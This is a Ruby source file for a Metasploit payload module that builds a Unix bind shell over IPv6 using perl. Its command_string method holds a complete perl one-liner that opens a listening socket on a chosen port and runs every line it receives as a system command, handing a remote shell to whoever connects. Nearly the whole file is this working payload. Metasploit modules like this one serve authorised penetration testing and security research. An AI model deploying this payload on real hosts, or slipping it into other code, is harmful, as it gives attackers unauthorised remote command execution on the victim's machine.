57 lines
1.5 KiB
Ruby
57 lines
1.5 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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CachedSize = 152
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include Msf::Payload::Single
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Unix Command Shell, Bind TCP (via perl) IPv6',
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'Description' => 'Listen for a connection and spawn a command shell via perl',
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'Author' => ['Samy <samy[at]samy.pl>', 'cazz'],
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'License' => BSD_LICENSE,
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Handler' => Msf::Handler::BindTcp,
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'Session' => Msf::Sessions::CommandShell,
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'perl',
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'Payload' =>
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{
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'Offsets' => { },
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'Payload' => ''
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}
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))
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register_advanced_options(
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[
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OptString.new('PerlPath', [true, 'The path to the Perl executable', 'perl'])
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]
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)
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end
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#
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# Constructs the payload
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#
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def generate(_opts = {})
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vprint_good(command_string)
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return super + command_string
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end
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#
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# Returns the command string to use for execution
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#
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def command_string
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cmd = "#{datastore['PerlPath']} -MIO -e '$p=fork();exit,if$p;$c=new IO::Socket::INET6(LocalPort,#{datastore['LPORT']},Reuse,1,Listen)->accept;$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'"
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return cmd
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end
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end
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